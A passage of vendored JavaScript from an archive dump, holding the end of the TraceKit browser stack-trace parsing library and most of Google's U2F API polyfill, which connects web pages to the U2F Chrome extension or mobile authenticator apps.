occurs in the source code. * @param {RegExp} re The function definition. * @param {Array.<string>} urls A list of URLs to search. * @return {?Object.<string, (string|number)>} An object containing * the url, line, and column number of the defined function. * @memberof TraceKit.computeStackTrace */ function findSourceInUrls(re, urls) { var source, m; for (var i = 0, j = urls.length; i < j; ++i) { if ((source = getSource(urls[i])).length) { source = source.join('\n'); if ((m = re.exec(source))) { return { 'url': urls[i], 'line': source.substring(0, m.index).split('\n').length, 'column': m.index - source.lastIndexOf('\n', m.index) - 1 }; } } } return null; } /** * Determines at which column a code fragment occurs on a line of the * source code. * @param {string} fragment The code fragment. * @param {string} url The URL to search. * @param {(string|number)} line The line number to examine. * @return {?number} The column number. * @memberof TraceKit.computeStackTrace */ function findSourceInLine(fragment, url, line) { var source = getSource(url), re = new RegExp('\\b' + escapeRegExp(fragment) + '\\b'), m; line -= 1; if (source && source.length > line && (m = re.exec(source[line]))) { return m.index; } return null; } /** * Determines where a function was defined within the source code. * @param {(Function|string)} func A function reference or serialized * function definition. * @return {?Object.<string, (string|number)>} An object containing * the url, line, and column number of the defined function. * @memberof TraceKit.computeStackTrace */ function findSourceByFunctionBody(func) { if (_isUndefined(window && window.document)) { return; } var urls = [window.location.href], scripts = window.document.getElementsByTagName('script'), body, code = '' + func, codeRE = /^function(?:\s+([\w$]+))?\s*\(([\w\s,]*)\)\s*\{\s*(\S[\s\S]*\S)\s*\}\s*$/, eventRE = /^function on([\w$]+)\s*\(event\)\s*\{\s*(\S[\s\S]*\S)\s*\}\s*$/, re, parts, result; for (var i = 0; i < scripts.length; ++i) { var script = scripts[i]; if (script.src) { urls.push(script.src); } } if (!(parts = codeRE.exec(code))) { re = new RegExp(escapeRegExp(code).replace(/\s+/g, '\\s+')); } // not sure if this is really necessary, but I don’t have a test // corpus large enough to confirm that and it was in the original. else { var name = parts[1] ? '\\s+' + parts[1] : '', args = parts[2].split(',').join('\\s*,\\s*'); body = escapeRegExp(parts[3]).replace(/;$/, ';?'); // semicolon is inserted if the function ends with a comment.replace(/\s+/g, '\\s+'); re = new RegExp('function' + name + '\\s*\\(\\s*' + args + '\\s*\\)\\s*{\\s*' + body + '\\s*}'); } // look for a normal function definition if ((result = findSourceInUrls(re, urls))) { return result; } // look for an old-school event handler function if ((parts = eventRE.exec(code))) { var event = parts[1]; body = escapeCodeAsRegExpForMatchingInsideHTML(parts[2]); // look for a function defined in HTML as an onXXX handler re = new RegExp('on' + event + '=[\\\'"]\\s*' + body + '\\s*[\\\'"]', 'i'); if ((result = findSourceInUrls(re, urls[0]))) { return result; } // look for ??? re = new RegExp(body); if ((result = findSourceInUrls(re, urls))) { return result; } } return null; } // Contents of Exception in various browsers. // // SAFARI: // ex.message = Can't find variable: qq // ex.line = 59 // ex.sourceId = 580238192 // ex.sourceURL = http://... // ex.expressionBeginOffset = 96 // ex.expressionCaretOffset = 98 // ex.expressionEndOffset = 98 // ex.name = ReferenceError // // FIREFOX: // ex.message = qq is not defined // ex.fileName = http://... // ex.lineNumber = 59 // ex.columnNumber = 69 // ex.stack = ...stack trace... (see the example below) // ex.name = ReferenceError // // CHROME: // ex.message = qq is not defined // ex.name = ReferenceError // ex.type = not_defined // ex.arguments = ['aa'] // ex.stack = ...stack trace... // // INTERNET EXPLORER: // ex.message = ... // ex.name = ReferenceError // // OPERA: // ex.message = ...message... (see the example below) // ex.name = ReferenceError // ex.opera#sourceloc = 11 (pretty much useless, duplicates the info in ex.message) // ex.stacktrace = n/a; see 'opera:config#UserPrefs|Exceptions Have Stacktrace' /** * Computes stack trace information from the stack property. * Chrome and Gecko use this property. * @param {Error} ex * @return {?TraceKit.StackTrace} Stack trace information. * @memberof TraceKit.computeStackTrace */ function computeStackTraceFromStackProp(ex) { if (!ex.stack) { return null; } var chrome = /^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack|<anonymous>|\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i, gecko = /^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i, winjs = /^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i, // Used to additionally parse URL/line/column from eval frames isEval, geckoEval = /(\S+) line (\d+)(?: > eval line \d+)* > eval/i, chromeEval = /\((\S*)(?::(\d+))(?::(\d+))\)/, lines = ex.stack.split('\n'), stack = [], submatch, parts, element, reference = /^(.*) is undefined$/.exec(ex.message); for (var i = 0, j = lines.length; i < j; ++i) { if ((parts = chrome.exec(lines[i]))) { var isNative = parts[2] && parts[2].indexOf('native') === 0; // start of line isEval = parts[2] && parts[2].indexOf('eval') === 0; // start of line if (isEval && (submatch = chromeEval.exec(parts[2]))) { // throw out eval line/column and use top-most line/column number parts[2] = submatch[1]; // url parts[3] = submatch[2]; // line parts[4] = submatch[3]; // column } element = { 'url': !isNative ? parts[2] : null, 'func': parts[1] || UNKNOWN_FUNCTION, 'args': isNative ? [parts[2]] : [], 'line': parts[3] ? +parts[3] : null, 'column': parts[4] ? +parts[4] : null }; } else if ( parts = winjs.exec(lines[i]) ) { element = { 'url': parts[2], 'func': parts[1] || UNKNOWN_FUNCTION, 'args': [], 'line': +parts[3], 'column': parts[4] ? +parts[4] : null }; } else if ((parts = gecko.exec(lines[i]))) { isEval = parts[3] && parts[3].indexOf(' > eval') > -1; if (isEval && (submatch = geckoEval.exec(parts[3]))) { // throw out eval line/column and use top-most line number parts[3] = submatch[1]; parts[4] = submatch[2]; parts[5] = null; // no column when eval } else if (i === 0 && !parts[5] && !_isUndefined(ex.columnNumber)) { // FireFox uses this awesome columnNumber property for its top frame // Also note, Firefox's column number is 0-based and everything else expects 1-based, // so adding 1 // NOTE: this hack doesn't work if top-most frame is eval stack[0].column = ex.columnNumber + 1; } element = { 'url': parts[3], 'func': parts[1] || UNKNOWN_FUNCTION, 'args': parts[2] ? parts[2].split(',') : [], 'line': parts[4] ? +parts[4] : null, 'column': parts[5] ? +parts[5] : null }; } else { continue; } if (!element.func && element.line) { element.func = guessFunctionName(element.url, element.line); } element.context = element.line ? gatherContext(element.url, element.line) : null; stack.push(element); } if (!stack.length) { return null; } if (stack[0] && stack[0].line && !stack[0].column && reference) { stack[0].column = findSourceInLine(reference[1], stack[0].url, stack[0].line); } return { 'mode': 'stack', 'name': ex.name, 'message': ex.message, 'stack': stack }; } /** * Computes stack trace information from the stacktrace property. * Opera 10+ uses this property. * @param {Error} ex * @return {?TraceKit.StackTrace} Stack trace information. * @memberof TraceKit.computeStackTrace */ function computeStackTraceFromStacktraceProp(ex) { // Access and store the stacktrace property before doing ANYTHING // else to it because Opera is not very good at providing it // reliably in other circumstances. var stacktrace = ex.stacktrace; if (!stacktrace) { return; } var opera10Regex = / line (\d+).*script (?:in )?(\S+)(?:: in function (\S+))?$/i, opera11Regex = / line (\d+), column (\d+)\s*(?:in (?:<anonymous function: ([^>]+)>|([^\)]+))\((.*)\))? in (.*):\s*$/i, lines = stacktrace.split('\n'), stack = [], parts; for (var line = 0; line < lines.length; line += 2) { var element = null; if ((parts = opera10Regex.exec(lines[line]))) { element = { 'url': parts[2], 'line': +parts[1], 'column': null, 'func': parts[3], 'args':[] }; } else if ((parts = opera11Regex.exec(lines[line]))) { element = { 'url': parts[6], 'line': +parts[1], 'column': +parts[2], 'func': parts[3] || parts[4], 'args': parts[5] ? parts[5].split(',') : [] }; } if (element) { if (!element.func && element.line) { element.func = guessFunctionName(element.url, element.line); } if (element.line) { try { element.context = gatherContext(element.url, element.line); } catch (exc) {} } if (!element.context) { element.context = [lines[line + 1]]; } stack.push(element); } } if (!stack.length) { return null; } return { 'mode': 'stacktrace', 'name': ex.name, 'message': ex.message, 'stack': stack }; } /** * NOT TESTED. * Computes stack trace information from an error message that includes * the stack trace. * Opera 9 and earlier use this method if the option to show stack * traces is turned on in opera:config. * @param {Error} ex * @return {?TraceKit.StackTrace} Stack information. * @memberof TraceKit.computeStackTrace */ function computeStackTraceFromOperaMultiLineMessage(ex) { // TODO: Clean this function up // Opera includes a stack trace into the exception message. An example is: // // Statement on line 3: Undefined variable: undefinedFunc // Backtrace: // Line 3 of linked script file://localhost/Users/andreyvit/Projects/TraceKit/javascript-client/sample.js: In function zzz // undefinedFunc(a); // Line 7 of inline#1 script in file://localhost/Users/andreyvit/Projects/TraceKit/javascript-client/sample.html: In function yyy // zzz(x, y, z); // Line 3 of inline#1 script in file://localhost/Users/andreyvit/Projects/TraceKit/javascript-client/sample.html: In function xxx // yyy(a, a, a); // Line 1 of function script // try { xxx('hi'); return false; } catch(ex) { TraceKit.report(ex); } // ... var lines = ex.message.split('\n'); if (lines.length < 4) { return null; } var lineRE1 = /^\s*Line (\d+) of linked script ((?:file|https?|blob)\S+)(?:: in function (\S+))?\s*$/i, lineRE2 = /^\s*Line (\d+) of inline#(\d+) script in ((?:file|https?|blob)\S+)(?:: in function (\S+))?\s*$/i, lineRE3 = /^\s*Line (\d+) of function script\s*$/i, stack = [], scripts = (window && window.document && window.document.getElementsByTagName('script')), inlineScriptBlocks = [], parts; for (var s in scripts) { if (_has(scripts, s) && !scripts[s].src) { inlineScriptBlocks.push(scripts[s]); } } for (var line = 2; line < lines.length; line += 2) { var item = null; if ((parts = lineRE1.exec(lines[line]))) { item = { 'url': parts[2], 'func': parts[3], 'args': [], 'line': +parts[1], 'column': null }; } else if ((parts = lineRE2.exec(lines[line]))) { item = { 'url': parts[3], 'func': parts[4], 'args': [], 'line': +parts[1], 'column': null // TODO: Check to see if inline#1 (+parts[2]) points to the script number or column number. }; var relativeLine = (+parts[1]); // relative to the start of the <SCRIPT> block var script = inlineScriptBlocks[parts[2] - 1]; if (script) { var source = getSource(item.url); if (source) { source = source.join('\n'); var pos = source.indexOf(script.innerText); if (pos >= 0) { item.line = relativeLine + source.substring(0, pos).split('\n').length; } } } } else if ((parts = lineRE3.exec(lines[line]))) { var url = window.location.href.replace(/#.*$/, ''); var re = new RegExp(escapeCodeAsRegExpForMatchingInsideHTML(lines[line + 1])); var src = findSourceInUrls(re, [url]); item = { 'url': url, 'func': '', 'args': [], 'line': src ? src.line : parts[1], 'column': null }; } if (item) { if (!item.func) { item.func = guessFunctionName(item.url, item.line); } var context = gatherContext(item.url, item.line); var midline = (context ? context[Math.floor(context.length / 2)] : null); if (context && midline.replace(/^\s*/, '') === lines[line + 1].replace(/^\s*/, '')) { item.context = context; } else { // if (context) alert("Context mismatch. Correct midline:\n" + lines[i+1] + "\n\nMidline:\n" + midline + "\n\nContext:\n" + context.join("\n") + "\n\nURL:\n" + item.url); item.context = [lines[line + 1]]; } stack.push(item); } } if (!stack.length) { return null; // could not parse multiline exception message as Opera stack trace } return { 'mode': 'multiline', 'name': ex.name, 'message': lines[0], 'stack': stack }; } /** * Adds information about the first frame to incomplete stack traces. * Safari and IE require this to get complete data on the first frame. * @param {TraceKit.StackTrace} stackInfo Stack trace information from * one of the compute* methods. * @param {string} url The URL of the script that caused an error. * @param {(number|string)} lineNo The line number of the script that * caused an error. * @param {string=} message The error generated by the browser, which * hopefully contains the name of the object that caused the error. * @return {boolean} Whether or not the stack information was * augmented. * @memberof TraceKit.computeStackTrace */ function augmentStackTraceWithInitialElement(stackInfo, url, lineNo, message) { var initial = { 'url': url, 'line': lineNo }; if (initial.url && initial.line) { stackInfo.incomplete = false; if (!initial.func) { initial.func = guessFunctionName(initial.url, initial.line); } if (!initial.context) { initial.context = gatherContext(initial.url, initial.line); } var reference = / '([^']+)' /.exec(message); if (reference) { initial.column = findSourceInLine(reference[1], initial.url, initial.line); } if (stackInfo.stack.length > 0) { if (stackInfo.stack[0].url === initial.url) { if (stackInfo.stack[0].line === initial.line) { return false; // already in stack trace } else if (!stackInfo.stack[0].line && stackInfo.stack[0].func === initial.func) { stackInfo.stack[0].line = initial.line; stackInfo.stack[0].context = initial.context; return false; } } } stackInfo.stack.unshift(initial); stackInfo.partial = true; return true; } else { stackInfo.incomplete = true; } return false; } /** * Computes stack trace information by walking the arguments.caller * chain at the time the exception occurred. This will cause earlier * frames to be missed but is the only way to get any stack trace in * Safari and IE. The top frame is restored by * {@link augmentStackTraceWithInitialElement}. * @param {Error} ex * @return {TraceKit.StackTrace=} Stack trace information. * @memberof TraceKit.computeStackTrace */ function computeStackTraceByWalkingCallerChain(ex, depth) { var functionName = /function\s+([_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*)?\s*\(/i, stack = [], funcs = {}, recursion = false, parts, item, source; for (var curr = computeStackTraceByWalkingCallerChain.caller; curr && !recursion; curr = curr.caller) { if (curr === computeStackTrace || curr === TraceKit.report) { continue; } item = { 'url': null, 'func': UNKNOWN_FUNCTION, 'args': [], 'line': null, 'column': null }; if (curr.name) { item.func = curr.name; } else if ((parts = functionName.exec(curr.toString()))) { item.func = parts[1]; } if (typeof item.func === 'undefined') { try { item.func = parts.input.substring(0, parts.input.indexOf('{')); } catch (e) { } } if ((source = findSourceByFunctionBody(curr))) { item.url = source.url; item.line = source.line; if (item.func === UNKNOWN_FUNCTION) { item.func = guessFunctionName(item.url, item.line); } var reference = / '([^']+)' /.exec(ex.message || ex.description); if (reference) { item.column = findSourceInLine(reference[1], source.url, source.line); } } if (funcs['' + curr]) { recursion = true; }else{ funcs['' + curr] = true; } stack.push(item); } if (depth) { stack.splice(0, depth); } var result = { 'mode': 'callers', 'name': ex.name, 'message': ex.message, 'stack': stack }; augmentStackTraceWithInitialElement(result, ex.sourceURL || ex.fileName, ex.line || ex.lineNumber, ex.message || ex.description); return result; } /** * Computes a stack trace for an exception. * @param {Error} ex * @param {(string|number)=} depth * @memberof TraceKit.computeStackTrace */ function computeStackTrace(ex, depth) { var stack = null; depth = (depth == null ? 0 : +depth); try { // This must be tried first because Opera 10 *destroys* // its stacktrace property if you try to access the stack // property first!! stack = computeStackTraceFromStacktraceProp(ex); if (stack) { return stack; } } catch (e) { if (debug) { throw e; } } try { stack = computeStackTraceFromStackProp(ex); if (stack) { return stack; } } catch (e) { if (debug) { throw e; } } try { stack = computeStackTraceFromOperaMultiLineMessage(ex); if (stack) { return stack; } } catch (e) { if (debug) { throw e; } } try { stack = computeStackTraceByWalkingCallerChain(ex, depth + 1); if (stack) { return stack; } } catch (e) { if (debug) { throw e; } } return { 'name': ex.name, 'message': ex.message, 'mode': 'failed' }; } /** * Logs a stacktrace starting from the previous call and working down. * @param {(number|string)=} depth How many frames deep to trace. * @return {TraceKit.StackTrace} Stack trace information. * @memberof TraceKit.computeStackTrace */ function computeStackTraceOfCaller(depth) { depth = (depth == null ? 0 : +depth) + 1; // "+ 1" because "ofCaller" should drop one frame try { throw new Error(); } catch (ex) { return computeStackTrace(ex, depth + 1); } } computeStackTrace.augmentStackTraceWithInitialElement = augmentStackTraceWithInitialElement; computeStackTrace.computeStackTraceFromStackProp = computeStackTraceFromStackProp; computeStackTrace.guessFunctionName = guessFunctionName; computeStackTrace.gatherContext = gatherContext; computeStackTrace.ofCaller = computeStackTraceOfCaller; computeStackTrace.getSource = getSource; return computeStackTrace; }()); /** * Extends support for global error handling for asynchronous browser * functions. Adopted from Closure Library's errorhandler.js * @memberof TraceKit */ TraceKit.extendToAsynchronousCallbacks = function () { var _helper = function _helper(fnName) { var originalFn = window[fnName]; window[fnName] = function traceKitAsyncExtension() { // Make a copy of the arguments var args = _slice.call(arguments); var originalCallback = args[0]; if (typeof (originalCallback) === 'function') { args[0] = TraceKit.wrap(originalCallback); } // IE < 9 doesn't support .call/.apply on setInterval/setTimeout, but it // also only supports 2 argument and doesn't care what "this" is, so we // can just call the original function directly. if (originalFn.apply) { return originalFn.apply(this, args); } else { return originalFn(args[0], args[1]); } }; }; _helper('setTimeout'); _helper('setInterval'); }; //Default options: if (!TraceKit.remoteFetching) { TraceKit.remoteFetching = true; } if (!TraceKit.collectWindowErrors) { TraceKit.collectWindowErrors = true; } if (!TraceKit.linesOfContext || TraceKit.linesOfContext < 1) { // 5 lines before, the offending line, 5 lines after TraceKit.linesOfContext = 11; } // UMD export if (typeof define === 'function' && define.amd) { define('TraceKit', [], TraceKit); } else if (typeof module !== 'undefined' && module.exports && window.module !== module) { module.exports = TraceKit; } else { window.TraceKit = TraceKit; } }(typeof window !== 'undefined' ? window : global)); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/u2f-api-polyfill.js��������������������������������������������������������������������������0000666�����������������00000054462�15172447206�0011521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������//Copyright 2014-2015 Google Inc. All rights reserved. //Use of this source code is governed by a BSD-style //license that can be found in the LICENSE file or at //https://developers.google.com/open-source/licenses/bsd // NOTE FROM MAINTAINER: This file is copied from google/u2f-ref-code with as // few alterations as possible. Any changes that were necessary are annotated // with "NECESSARY CHANGE". These changes, as well as this note, should be // preserved when updating this file from the source. /** * @fileoverview The U2F api. */ 'use strict'; // NECESSARY CHANGE: wrap the whole file in a closure (function (){ // NECESSARY CHANGE: detect UA to avoid clobbering other browser's U2F API. var isChrome = 'chrome' in window && window.navigator.userAgent.indexOf('Edge') < 0; if ('u2f' in window || !isChrome) { return; } /** * Namespace for the U2F api. * @type {Object} */ // NECESSARY CHANGE: define the window.u2f API. var u2f = window.u2f = {}; /** * FIDO U2F Javascript API Version * @number */ var js_api_version; /** * The U2F extension id * @const {string} */ // The Chrome packaged app extension ID. // Uncomment this if you want to deploy a server instance that uses // the package Chrome app and does not require installing the U2F Chrome extension. u2f.EXTENSION_ID = 'kmendfapggjehodndflmmgagdbamhnfd'; // The U2F Chrome extension ID. // Uncomment this if you want to deploy a server instance that uses // the U2F Chrome extension to authenticate. // u2f.EXTENSION_ID = 'pfboblefjcgdjicmnffhdgionmgcdmne'; /** * Message types for messsages to/from the extension * @const * @enum {string} */ u2f.MessageTypes = { 'U2F_REGISTER_REQUEST': 'u2f_register_request', 'U2F_REGISTER_RESPONSE': 'u2f_register_response', 'U2F_SIGN_REQUEST': 'u2f_sign_request', 'U2F_SIGN_RESPONSE': 'u2f_sign_response', 'U2F_GET_API_VERSION_REQUEST': 'u2f_get_api_version_request', 'U2F_GET_API_VERSION_RESPONSE': 'u2f_get_api_version_response' }; /** * Response status codes * @const * @enum {number} */ u2f.ErrorCodes = { 'OK': 0, 'OTHER_ERROR': 1, 'BAD_REQUEST': 2, 'CONFIGURATION_UNSUPPORTED': 3, 'DEVICE_INELIGIBLE': 4, 'TIMEOUT': 5 }; /** * A message for registration requests * @typedef {{ * type: u2f.MessageTypes, * appId: ?string, * timeoutSeconds: ?number, * requestId: ?number * }} */ u2f.U2fRequest; /** * A message for registration responses * @typedef {{ * type: u2f.MessageTypes, * responseData: (u2f.Error | u2f.RegisterResponse | u2f.SignResponse), * requestId: ?number * }} */ u2f.U2fResponse; /** * An error object for responses * @typedef {{ * errorCode: u2f.ErrorCodes, * errorMessage: ?string * }} */ u2f.Error; /** * Data object for a single sign request. * @typedef {enum {BLUETOOTH_RADIO, BLUETOOTH_LOW_ENERGY, USB, NFC, USB_INTERNAL}} */ u2f.Transport; /** * Data object for a single sign request. * @typedef {Array<u2f.Transport>} */ u2f.Transports; /** * Data object for a single sign request. * @typedef {{ * version: string, * challenge: string, * keyHandle: string, * appId: string * }} */ u2f.SignRequest; /** * Data object for a sign response. * @typedef {{ * keyHandle: string, * signatureData: string, * clientData: string * }} */ u2f.SignResponse; /** * Data object for a registration request. * @typedef {{ * version: string, * challenge: string * }} */ u2f.RegisterRequest; /** * Data object for a registration response. * @typedef {{ * version: string, * keyHandle: string, * transports: Transports, * appId: string * }} */ u2f.RegisterResponse; /** * Data object for a registered key. * @typedef {{ * version: string, * keyHandle: string, * transports: ?Transports, * appId: ?string * }} */ u2f.RegisteredKey; /** * Data object for a get API register response. * @typedef {{ * js_api_version: number * }} */ u2f.GetJsApiVersionResponse; //Low level MessagePort API support /** * Sets up a MessagePort to the U2F extension using the * available mechanisms. * @param {function((MessagePort|u2f.WrappedChromeRuntimePort_))} callback */ u2f.getMessagePort = function(callback) { if (typeof chrome != 'undefined' && chrome.runtime) { // The actual message here does not matter, but we need to get a reply // for the callback to run. Thus, send an empty signature request // in order to get a failure response. var msg = { type: u2f.MessageTypes.U2F_SIGN_REQUEST, signRequests: [] }; chrome.runtime.sendMessage(u2f.EXTENSION_ID, msg, function() { if (!chrome.runtime.lastError) { // We are on a whitelisted origin and can talk directly // with the extension. u2f.getChromeRuntimePort_(callback); } else { // chrome.runtime was available, but we couldn't message // the extension directly, use iframe u2f.getIframePort_(callback); } }); } else if (u2f.isAndroidChrome_()) { u2f.getAuthenticatorPort_(callback); } else if (u2f.isIosChrome_()) { u2f.getIosPort_(callback); } else { // chrome.runtime was not available at all, which is normal // when this origin doesn't have access to any extensions. u2f.getIframePort_(callback); } }; /** * Detect chrome running on android based on the browser's useragent. * @private */ u2f.isAndroidChrome_ = function() { var userAgent = navigator.userAgent; return userAgent.indexOf('Chrome') != -1 && userAgent.indexOf('Android') != -1; }; /** * Detect chrome running on iOS based on the browser's platform. * @private */ u2f.isIosChrome_ = function() { return ["iPhone", "iPad", "iPod"].indexOf(navigator.platform) > -1; }; /** * Connects directly to the extension via chrome.runtime.connect. * @param {function(u2f.WrappedChromeRuntimePort_)} callback * @private */ u2f.getChromeRuntimePort_ = function(callback) { var port = chrome.runtime.connect(u2f.EXTENSION_ID, {'includeTlsChannelId': true}); setTimeout(function() { callback(new u2f.WrappedChromeRuntimePort_(port)); }, 0); }; /** * Return a 'port' abstraction to the Authenticator app. * @param {function(u2f.WrappedAuthenticatorPort_)} callback * @private */ u2f.getAuthenticatorPort_ = function(callback) { setTimeout(function() { callback(new u2f.WrappedAuthenticatorPort_()); }, 0); }; /** * Return a 'port' abstraction to the iOS client app. * @param {function(u2f.WrappedIosPort_)} callback * @private */ u2f.getIosPort_ = function(callback) { setTimeout(function() { callback(new u2f.WrappedIosPort_()); }, 0); }; /** * A wrapper for chrome.runtime.Port that is compatible with MessagePort. * @param {Port} port * @constructor * @private */ u2f.WrappedChromeRuntimePort_ = function(port) { this.port_ = port; }; /** * Format and return a sign request compliant with the JS API version supported by the extension. * @param {Array<u2f.SignRequest>} signRequests * @param {number} timeoutSeconds * @param {number} reqId * @return {Object} */ u2f.formatSignRequest_ = function(appId, challenge, registeredKeys, timeoutSeconds, reqId) { if (js_api_version === undefined || js_api_version < 1.1) { // Adapt request to the 1.0 JS API var signRequests = []; for (var i = 0; i < registeredKeys.length; i++) { signRequests[i] = { version: registeredKeys[i].version, challenge: challenge, keyHandle: registeredKeys[i].keyHandle, appId: appId }; } return { type: u2f.MessageTypes.U2F_SIGN_REQUEST, signRequests: signRequests, timeoutSeconds: timeoutSeconds, requestId: reqId }; } // JS 1.1 API return { type: u2f.MessageTypes.U2F_SIGN_REQUEST, appId: appId, challenge: challenge, registeredKeys: registeredKeys, timeoutSeconds: timeoutSeconds, requestId: reqId }; }; /** * Format and return a register request compliant with the JS API version supported by the extension.. * @param {Array<u2f.SignRequest>} signRequests * @param {Array<u2f.RegisterRequest>} signRequests * @param {number} timeoutSeconds * @param {number} reqId * @return {Object} */ u2f.formatRegisterRequest_ = function(appId, registeredKeys, registerRequests, timeoutSeconds, reqId) { if (js_api_version === undefined || js_api_version < 1.1) { // Adapt request to the 1.0 JS API for (var i = 0; i < registerRequests.length; i++) { registerRequests[i].appId = appId; } var signRequests = []; for (var i = 0; i < registeredKeys.length; i++) { signRequests[i] = { version: registeredKeys[i].version, challenge: registerRequests[0], keyHandle: registeredKeys[i].keyHandle, appId: appId }; } return { type: u2f.MessageTypes.U2F_REGISTER_REQUEST, signRequests: signRequests, registerRequests: registerRequests, timeoutSeconds: timeoutSeconds, requestId: reqId }; } // JS 1.1 API return { type: u2f.MessageTypes.U2F_REGISTER_REQUEST, appId: appId, registerRequests: registerRequests, registeredKeys: registeredKeys, timeoutSeconds: timeoutSeconds, requestId: reqId }; }; /** * Posts a message on the underlying channel. * @param {Object} message */ u2f.WrappedChromeRuntimePort_.prototype.postMessage = function(message) { this.port_.postMessage(message); }; /** * Emulates the HTML 5 addEventListener interface. Works only for the * onmessage event, which is hooked up to the chrome.runtime.Port.onMessage. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedChromeRuntimePort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name == 'message' || name == 'onmessage') { this.port_.onMessage.addListener(function(message) { // Emulate a minimal MessageEvent object handler({'data': message}); }); } else { console.error('WrappedChromeRuntimePort only supports onMessage'); } }; /** * Wrap the Authenticator app with a MessagePort interface. * @constructor * @private */ u2f.WrappedAuthenticatorPort_ = function() { this.requestId_ = -1; this.requestObject_ = null; } /** * Launch the Authenticator intent. * @param {Object} message */ u2f.WrappedAuthenticatorPort_.prototype.postMessage = function(message) { var intentUrl = u2f.WrappedAuthenticatorPort_.INTENT_URL_BASE_ + ';S.request=' + encodeURIComponent(JSON.stringify(message)) + ';end'; document.location = intentUrl; }; /** * Tells what type of port this is. * @return {String} port type */ u2f.WrappedAuthenticatorPort_.prototype.getPortType = function() { return "WrappedAuthenticatorPort_"; }; /** * Emulates the HTML 5 addEventListener interface. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedAuthenticatorPort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name == 'message') { var self = this; /* Register a callback to that executes when * chrome injects the response. */ window.addEventListener( 'message', self.onRequestUpdate_.bind(self, handler), false); } else { console.error('WrappedAuthenticatorPort only supports message'); } }; /** * Callback invoked when a response is received from the Authenticator. * @param function({data: Object}) callback * @param {Object} message message Object */ u2f.WrappedAuthenticatorPort_.prototype.onRequestUpdate_ = function(callback, message) { var messageObject = JSON.parse(message.data); var intentUrl = messageObject['intentURL']; var errorCode = messageObject['errorCode']; var responseObject = null; if (messageObject.hasOwnProperty('data')) { responseObject = /** @type {Object} */ ( JSON.parse(messageObject['data'])); } callback({'data': responseObject}); }; /** * Base URL for intents to Authenticator. * @const * @private */ u2f.WrappedAuthenticatorPort_.INTENT_URL_BASE_ = 'intent:#Intent;action=com.google.android.apps.authenticator.AUTHENTICATE'; /** * Wrap the iOS client app with a MessagePort interface. * @constructor * @private */ u2f.WrappedIosPort_ = function() {}; /** * Launch the iOS client app request * @param {Object} message */ u2f.WrappedIosPort_.prototype.postMessage = function(message) { var str = JSON.stringify(message); var url = "u2f://auth?" + encodeURI(str); location.replace(url); }; /** * Tells what type of port this is. * @return {String} port type */ u2f.WrappedIosPort_.prototype.getPortType = function() { return "WrappedIosPort_"; }; /** * Emulates the HTML 5 addEventListener interface. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedIosPort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name !== 'message') { console.error('WrappedIosPort only supports message'); } }; /** * Sets up an embedded trampoline iframe, sourced from the extension. * @param {function(MessagePort)} callback * @private */ u2f.getIframePort_ = function(callback) { // Create the iframe var iframeOrigin = 'chrome-extension://' + u2f.EXTENSION_ID; var iframe = document.createElement('iframe'); iframe.src = iframeOrigin + '/u2f-comms.html'; iframe.setAttribute('style', 'display:none'); document.body.appendChild(iframe); var channel = new MessageChannel(); var ready = function(message) { if (message.data == 'ready') { channel.port1.removeEventListener('message', ready); callback(channel.port1); } else { console.error('First event on iframe port was not "ready"'); } }; channel.port1.addEventListener('message', ready); channel.port1.start(); iframe.addEventListener('load', function() { // Deliver the port to the iframe and initialize iframe.contentWindow.postMessage('init', iframeOrigin, [channel.port2]); }); }; //High-level JS API /** * Default extension response timeout in seconds. * @const */ u2f.EXTENSION_TIMEOUT_SEC = 30; /** * A singleton instance for a MessagePort to the extension. * @type {MessagePort|u2f.WrappedChromeRuntimePort_} * @private */ u2f.port_ = null; /** * Callbacks waiting for a port * @type {Array<function((MessagePort|u2f.WrappedChromeRuntimePort_))>} * @private */ u2f.waitingForPort_ = []; /** * A counter for requestIds. * @type {number} * @private */ u2f.reqCounter_ = 0; /** * A map from requestIds to client callbacks * @type {Object.<number,(function((u2f.Error|u2f.RegisterResponse)) * |function((u2f.Error|u2f.SignResponse)))>} * @private */ u2f.callbackMap_ = {}; /** * Creates or retrieves the MessagePort singleton to use. * @param {function((MessagePort|u2f.WrappedChromeRuntimePort_))} callback * @private */ u2f.getPortSingleton_ = function(callback) { if (u2f.port_) { callback(u2f.port_); } else { if (u2f.waitingForPort_.length == 0) { u2f.getMessagePort(function(port) { u2f.port_ = port; u2f.port_.addEventListener('message', /** @type {function(Event)} */ (u2f.responseHandler_)); // Careful, here be async callbacks. Maybe. while (u2f.waitingForPort_.length) u2f.waitingForPort_.shift()(u2f.port_); }); } u2f.waitingForPort_.push(callback); } }; /** * Handles response messages from the extension. * @param {MessageEvent.<u2f.Response>} message * @private */ u2f.responseHandler_ = function(message) { var response = message.data; var reqId = response['requestId']; if (!reqId || !u2f.callbackMap_[reqId]) { console.error('Unknown or missing requestId in response.'); return; } var cb = u2f.callbackMap_[reqId]; delete u2f.callbackMap_[reqId]; cb(response['responseData']); }; /** * Dispatches an array of sign requests to available U2F tokens. * If the JS API version supported by the extension is unknown, it first sends a * message to the extension to find out the supported API version and then it sends * the sign request. * @param {string=} appId * @param {string=} challenge * @param {Array<u2f.RegisteredKey>} registeredKeys * @param {function((u2f.Error|u2f.SignResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sign = function(appId, challenge, registeredKeys, callback, opt_timeoutSeconds) { if (js_api_version === undefined) { // Send a message to get the extension to 